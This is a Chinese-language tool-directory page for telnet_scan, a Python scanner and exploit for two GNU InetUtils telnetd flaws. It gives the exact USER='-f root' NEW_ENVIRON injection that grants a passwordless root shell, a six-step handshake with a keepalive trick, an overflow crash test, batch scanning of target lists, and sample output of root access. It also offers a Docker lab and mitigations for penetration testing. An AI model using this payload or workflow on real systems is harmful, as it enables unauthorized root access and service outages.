Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
telnet_scan — 扫描器/漏洞利用工具 CVE-2026-24061 & CVE-2026-32746 | Kitploit
工具/GitHubGitHub/ekomssavior/telnet_scan
漏洞扫描器漏洞利用网络安全渗透测试身份验证学习与教育二进制利用实验室与实践
GitHubekomssavior/telnet_scan

telnet_scan

扫描器/漏洞利用工具 CVE-2026-24061 & CVE-2026-32746

查看仓库
11684个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Telnet 漏洞扫描器(CVE-2026-24061 与 CVE-2026-32746)

License:ek0ms

一款基于 Python 的安全评估工具,用于检测并(在适用时)利用 GNU InetUtils telnetd 中的两个严重漏洞:

  • CVE-2026-24061 – 通过 USER 环境变量注入绕过认证(CVSS 9.8)
  • CVE-2026-32746 – LINEMODE SLC 处理程序中的预认证缓冲区溢出(CVSS 9.8)

重要免责声明

本工具仅用于授权安全测试和教育目的。
未经授权对您不拥有或未经明确许可测试的系统使用本工具是违法的。作者对因滥用或使用本工具造成的损害不承担任何责任。使用风险自负。

image1(1)

功能特性

  • 单目标扫描 – 运行时输入 IP 地址或域名
  • 批量扫描 – 上传包含多个目标的文件(每行一个)
  • 选择性测试 – 可单独测试任一漏洞,或同时测试两者
  • CVE-2026-24061 漏洞利用 – 如果存在漏洞,工具会直接在当前终端中为您打开一个交互式 root shell
  • CVE-2026-32746 检测 – 通过受控崩溃检测识别易受攻击的系统
  • 干净的终端处理 – 原始模式 shell,退出时可正确恢复
  • 连接验证 – 区分被过滤的端口、离线服务与实际漏洞
  • 详细调试 – 设置 TELNET_SCAN_VERBOSE=1 可查看每个 IAC 数据包和逐步的漏洞利用过程说明
  • Docker 实验环境 – 自带易受攻击的目标,便于安全测试

安装

git clone https://github.com/ekomsSavior/telnet_scan.git
cd telnet_scan
chmod +x telnet_scanner.py

使用方法

基本执行

python3 telnet_scanner.py

Docker 实验环境(安全测试)

在已知的易受攻击目标上测试漏洞利用,不会对真实系统造成风险:

cd lab
docker compose up -d
cd ..
python3 telnet_scanner.py
# Target: 127.0.0.1, Port: 2323

该实验环境在一个隔离的容器中运行存在漏洞的 GNU InetUtils 2.5 telnetd,仅绑定到 localhost,不暴露任何网络。

详细模式

调试 telnet 握手过程,准确查看线路上的通信内容:

TELNET_SCAN_VERBOSE=1 python3 telnet_scanner.py

详细输出显示:

  • 发送和接收的每个 IAC 命令(DO/WILL/SB)
  • 解码后的 telnet 选项名称
  • 子协商的负载十六进制转储
  • 逐步漏洞利用流程(6 步握手)

IMG_2498

单目标工作流程

  1. 选择选项 1
  2. 输入目标(IP 或域名,例如 192.168.1.100 或 example.com)
  3. 指定端口(留空默认为 23)
  4. 选择测试类型:
    • 1 – 两种漏洞
    • 2 – 仅 CVE-2026-24061(认证绕过)
    • 3 – 仅 CVE-2026-32746(缓冲区溢出)

批量扫描工作流程

  1. 创建一个包含目标的文件(每行一个) 示例 targets.txt:
    192.168.1.100
    192.168.1.101
    10.0.0.50
    example.com
    # This is a comment line - ignored
    
  2. 选择选项 2
  3. 输入文件名
  4. 指定端口(默认为 23)
  5. 选择测试类型(1、2 或 3)
  6. 扫描器将:
    • 显示每个目标的进度
    • 完成时显示结果
    • 最后提供汇总表

获取 Shell 后

如果 CVE-2026-24061 利用成功:

  1. 检测到该漏洞
  2. 一个交互式 root shell 会直接出现在同一终端窗口中
  3. 输入命令并立即查看输出(例如 id、whoami、ls)
  4. 按 Ctrl+C 退出 shell 并返回扫描器菜单
  5. 对于批量扫描,系统会提示您是与 shell 交互还是继续扫描

无需单独的终端或额外步骤。

工作原理

CVE-2026-24061 – 认证绕过

该漏洞利用遵循精确的 6 步 telnet 握手流程,以确保与真实的 GNU InetUtils telnetd 兼容:

  1. 等待服务器协商 – 最多等待 15 秒,用于反向 DNS 和初始 DO 选项
  2. 回复 WILL – 确认 TTYPE、TSPEED、XDISPLOC、NEW_ENVIRON
  3. 等待 SB SEND – 来自服务器的子协商请求
  4. 发送漏洞利用负载 – 通过 NEW_ENVIRON 子协商设置 USER="-f root"
  5. 处理其余交换 – 回复 SGA、ECHO、LINEMODE、NAWS 对应的 DO/WILL
  6. 检测 shell – 查找 # 、root@ 或 $ 提示符

一个保持活动(keepalive)线程每 2 秒发送一次 IAC NOP,以防止 telnetd 的 ttloop() 在负载被处理之前检测到 EOF 并调用 exit(1)。

存在漏洞的 telnetd 会将 -f root 传递给 /usr/bin/login,从而绕过认证并立即授予 root shell 访问权限。

CVE-2026-32746 – 缓冲区溢出检测

  • 协商 LINEMODE 选项(RFC 1184)
  • 发送 500 多个 SLC 三元组(1500+ 字节)以溢出固定大小的缓冲区
  • 监控连接重置/崩溃以确认漏洞

连接验证

  • 在尝试漏洞利用前进行预扫描,验证服务可用性
  • 区分以下情况:
    • 被过滤的端口(防火墙拦截)
    • 离线服务(没有服务在运行)
    • 存在漏洞的服务(漏洞利用成功)

示例输出

单目标

=== Telnet Vulnerability Scanner ===
1. Scan a single target
2. Scan targets from file (one IP/hostname per line)
3. Exit

Choose option: 1
Port (default 23): 

Which tests to run?
1. Both
2. Only CVE-2026-24061 (auth bypass - gives shell if vulnerable)
3. Only CVE-2026-32746 (buffer overflow detection)
Choice [1-3]: 1
Target (IP or domain): 192.168.1.100

[*] Resolved 192.168.1.100 -> 192.168.1.100
[*] Scanning 192.168.1.100:23...

[*] Checking if service is reachable...
[+] Service reachable

[*] Testing CVE-2026-24061 (authentication bypass)...
[!] CVE-2026-24061: VULNERABLE – shell obtained!

============================================================
[+] ROOT SHELL OBTAINED! You are now in an interactive root shell.
[+] Type commands directly here. Press Ctrl+C to exit shell.
============================================================

id
uid=0(root) gid=0(root) groups=0(root)

详细模式输出(部分)

    [STEP 1/6] Waiting for server negotiation (may take up to 15s)...
    [STEP 1/6] Got 48 bytes: fffb18fffb20fffb23fffb27...
           decoded: IAC DO TERMINAL-TYPE
           decoded: IAC DO TERMINAL-SPEED  
           decoded: IAC DO X-DISPLAY-LOCATION
           decoded: IAC DO NEW-ENVIRON
    [STEP 2/6] Responding WILL to all DO options
    [STEP 3/6] Waiting for SB SEND subnegotiation requests...
    [STEP 4/6] Sending subnegotiation responses...
               NEW-ENVIRON IS VAR USER VALUE "-f root"  *** EXPLOIT ***
    [STEP 5/6] Handling remaining option negotiations...
    [STEP 5/6] Text received: 'root@vuln-lab:~# '
    [RESULT] SUCCESS: Passwordless root login via USER="-f root" injection

批量扫描

=== Telnet Vulnerability Scanner ===
1. Scan a single target
2. Scan targets from file (one IP/hostname per line)
3. Exit

Choose option: 2
Port (default 23): 
Enter filename with targets (one per line): targets.txt

Which tests to run?
1. Both
2. Only CVE-2026-24061 (auth bypass - gives shell if vulnerable)
3. Only CVE-2026-32746 (buffer overflow detection)
Choice [1-3]: 1

[*] Loaded 3 targets from targets.txt

==================================================
[1/3] Scanning 192.168.1.100:23
==================================================
[*] Resolved 192.168.1.100 -> 192.168.1.100
[+] Service reachable

[*] Testing CVE-2026-24061...
[!] CVE-2026-24061: VULNERABLE – shell obtained!

[?] Shell obtained! Interact now? (y/N): n

[*] Testing CVE-2026-32746...
[+] Server did not crash; likely not vulnerable

==================================================
[2/3] Scanning 192.168.1.101:23
==================================================
[-] Service not reachable on 192.168.1.101:23

==================================================
[3/3] Scanning example.com:23
==================================================
[*] Resolved example.com -> 93.184.216.34
[+] Service reachable

[*] Testing CVE-2026-24061...
[+] No response received; may still be vulnerable

[*] Testing CVE-2026-32746...
[!] CVE-2026-32746: VULNERABLE (server crashed)

============================================================
SCAN SUMMARY
============================================================
192.168.1.100: VULNERABLE to CVE-2026-24061
192.168.1.101: Service unreachable
example.com: VULNERABLE to CVE-2026-32746
============================================================

缓解措施

如果您发现存在漏洞的系统,请应用以下修复措施:

  1. 将 GNU InetUtils 升级到 2.8 或更高版本
  2. 禁用 telnetd 并在网络边界阻止 TCP/23
  3. 限制访问,仅允许可信网络
  4. 监控日志,查找 NEW_ENVIRON USER 值以 -f 开头的连接

开发与测试

Docker 实验环境

随附的 lab/ 目录提供了一个安全、可复现的测试环境:

cd lab
docker compose up -d
# Wait ~10 seconds for telnetd to initialize
python3 ../telnet_scanner.py
# Target: 127.0.0.1, Port: 2323

实验环境特性:

  • 从源代码编译的 GNU InetUtils 2.5(存在漏洞的版本)
  • 在隔离的容器中运行 telnetd
  • 仅绑定到 localhost:2323 – 开发安全
  • 包含一个测试用户(labuser:labpass123)用于调试

使用完毕后停止实验环境:

cd lab && docker compose down

已知限制

  • 溢出测试(CVE-2026-32746)可能导致目标 telnetd 服务崩溃
  • 交互式 shell 不完全支持方向键和终端尺寸调整
  • 某些防火墙或网络配置可能会干扰 Telnet 选项协商
  • Windows 用户:交互式 shell 需要类 Unix 终端(WSL、Cygwin 或 Linux/macOS)

image0(2)

致谢

特别感谢 @leetcrypt – 规范的 6 步握手、keepalive 线程、详细模式和 Docker 实验环境都非常棒!


免责声明:仅用于授权安全测试和教育目的。

下载工具